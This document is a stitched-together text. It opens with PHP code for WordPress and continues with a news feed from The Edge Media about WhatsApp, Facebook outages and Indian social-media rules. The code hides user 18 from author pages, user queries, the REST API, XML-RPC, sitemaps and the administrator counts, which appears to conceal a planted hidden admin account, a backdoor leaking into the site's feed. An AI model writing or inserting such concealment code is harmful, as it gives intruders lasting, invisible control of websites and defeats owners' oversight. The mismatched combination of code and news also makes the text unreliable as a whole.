add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Communal Tension In Karnataka’s Hubballi Due To Objectional WhatsApp Forward appeared first on The Edge Media.
]]>The populace was furious and dissatisfied with the police response. Demonstrators gheraoed the police station late Saturday night, pelting stones and causing damage to police cars. To keep the mob under control, police reverted to using lathi charges and rubber bullets. To disperse the gathering, they fired rounds into the air and launched tear gas shells.
The post Communal Tension In Karnataka’s Hubballi Due To Objectional WhatsApp Forward appeared first on The Edge Media.
]]>The post After the Facebook outage, Mark Zuckerberg loses nearly $6 billion in just a few hours appeared first on The Edge Media.
]]>
A whistleblower came forward hours before the disruption and exposed her identity, which most likely contributed to the outage. Zuckerberg’s worth was decreased by almost $6 billion in just a few hours. This has landed Zuckerberg in fifth place among billionaires, according to the Bloomberg Billionaires Index.
He is now in sixth place, with $120.9 billion, behind Bill Gates. Facebook’s stock has lost roughly 5% of its value since mid-September, bringing the total loss to 15%.
The post After the Facebook outage, Mark Zuckerberg loses nearly $6 billion in just a few hours appeared first on The Edge Media.
]]>The post Facebook, Instagram, Whatsapp Down For Three Hours appeared first on The Edge Media.
]]>According to a post on the Facebook page, “Sorry, something went wrong. We’re working on it and we’ll get it fixed as soon as we can.” A Domain Name System (DNS) issue was suggested by the message. The Domain Name System (DNS) enables web addresses to direct visitors to their desired locations.
On Twitter, users reported that the major social networking and communication sites had been unreachable since approximately 9 p.m. Indian time.
The post Facebook, Instagram, Whatsapp Down For Three Hours appeared first on The Edge Media.
]]>The post Now You Can Arrange Vaccine Appointments via WhatsApp; The Health Minister Refers to it as a “New Era of Citizen Convenience” appeared first on The Edge Media.
]]>WhatsApp, for its part, has announced that the MyGov Corona Helpdesk on its platform would now let users find their nearest vaccination center and schedule immunization appointments.
Setting the stage for a new era of citizen convenience. Union Health Minister Mansukh Mandaviya stated in a tweet on Tuesday that you may now book COVID-19 immunization slots on your phone in minutes.
The post Now You Can Arrange Vaccine Appointments via WhatsApp; The Health Minister Refers to it as a “New Era of Citizen Convenience” appeared first on The Edge Media.
]]>The post We have banned Taliban from our services under our Dangerous Organisation policies : Facebook appeared first on The Edge Media.
]]>The company says it has a dedicated team of Afghan experts to monitor and remove content linked to the insurgent group.
For years, the Taliban has used social media to spread its messages.
“The Taliban is sanctioned as a terrorist organisation under US law and we have banned them from our services under our Dangerous Organisation policies. This means we remove accounts maintained by or on behalf of the Taliban and prohibit praise, support, and representation of them,” a Facebook spokesperson told the BBC.
“We also have a dedicated team of Afghanistan experts, who are native Dari and Pashto speakers and have knowledge of local context, helping to identify and alert us to emerging issues on the platform,” the spokesperson said.
The social media giant said it does not make decisions about the recognition of national governments but instead follows the “authority of the international community”.
Facebook highlighted that the policy applies to all of its platforms, including its flagship social media network, Instagram and WhatsApp.
However, there are reports that the Taliban is using WhatsApp to communicate.
Facebook told the BBC that it would take action if it found accounts on the app to be linked to the group.
The post We have banned Taliban from our services under our Dangerous Organisation policies : Facebook appeared first on The Edge Media.
]]>The post WhatsApp Launches Feature To Join Group Call appeared first on The Edge Media.
]]>The first signs of this development appeared earlier in the month when beta version 2.21.140.11 of Apple’s TestFlight program was discovered.
This new feature implies that when a group call is initiated, the requested WhatsApp user is no longer required to participate instantly. He or she gets a message informing him or her about the current group call and can attend it at any moment.
The post WhatsApp Launches Feature To Join Group Call appeared first on The Edge Media.
]]>The post A New UI Will Be Added To Whatsapp Soon appeared first on The Edge Media.
]]>The most recent WhatsApp beta version featured a new calling UI that appears to be influenced by FaceTime. Toggles are more visible in the new UI, with a brilliant white colour scheme. Toggles in the previous edition were tinted grey, making it difficult to discern whether something was switched on or off at first glance.
The end call button has been moved to the bottom row, next to the sound, mic, and video toggles.
The post A New UI Will Be Added To Whatsapp Soon appeared first on The Edge Media.
]]>The post Government is not in favour of banning any social media platform, says Ravi Shankar Prasad appeared first on The Edge Media.
]]>On the issue of WhatsApp, which has taken a legal path against the new I-T rules, the minister said the government does not want all WhatsApp messages to be decrypted. “If any content goes viral, causing mob lynching, riots, killing, showing women in nudity, sexual exploitation of children, only in these limited categories, you will be asked to declare who started the mischief,” the minister said.
In case if an inciting message originated outside the country, then the government wants to know who started it in India, the minister added.
When Capitol Hill in Washington was raided, you block Twitter accounts of all including then President. During farmers’ strike, Red Fort is raided by terrorist supporters showing naked swords, injuring policemen and pushing them in a ditch, then it’s freedom of expression. If Capitol Hill is US’ pride, Red Fort is India’s where PM hoists Tricolour. You show parts of Ladakh as China’s part. It takes a fortnight for us to pursue you to remove it. This isn’t fair. As a democracy, India is equally entitled to safeguard its digital sovereignty,” the minister told the news agency, reiterating the flashpoints between the government and the Twitter in the past.
The post Government is not in favour of banning any social media platform, says Ravi Shankar Prasad appeared first on The Edge Media.
]]>The post Twitter still to comply with new IT policy: Govt appeared first on The Edge Media.
]]>All major social media organisations have shared details of chief compliance officer, nodal contact person and grievance officer with the ministry, as decreed by the new policy.
Earlier, the dispute over Twitter’s handling of certain tweets intensified into an all-out war of words. The government was quoted as saying that the messaging platform was levelling baseless and false allegations to defame India and dictating terms to the world’s largest democracy.
The post Twitter still to comply with new IT policy: Govt appeared first on The Edge Media.
]]>The post Government of India warns Whatsapp appeared first on The Edge Media.
]]>Governmnent has directed Whatsapp to withdraw it’s privacy policy. “Deffering date of acceptance not enough”. The governement believes that the policy is discriminatory to Indians. Users in Europe have the option to opt out of the policy while users in India are not being provided with a choice.
WhatsApp had earlier deffered it’s privacy policy from February 8 to May 15 following outrage from users. Earlier this month, WhatsApp said a majority of users had accepted the new terms of service, and that it would not delete the accounts of those who haven’t accepted the terms yet. However, users who didn’t accept the new terms could expect to have limited functionality over time.
The post Government of India warns Whatsapp appeared first on The Edge Media.
]]>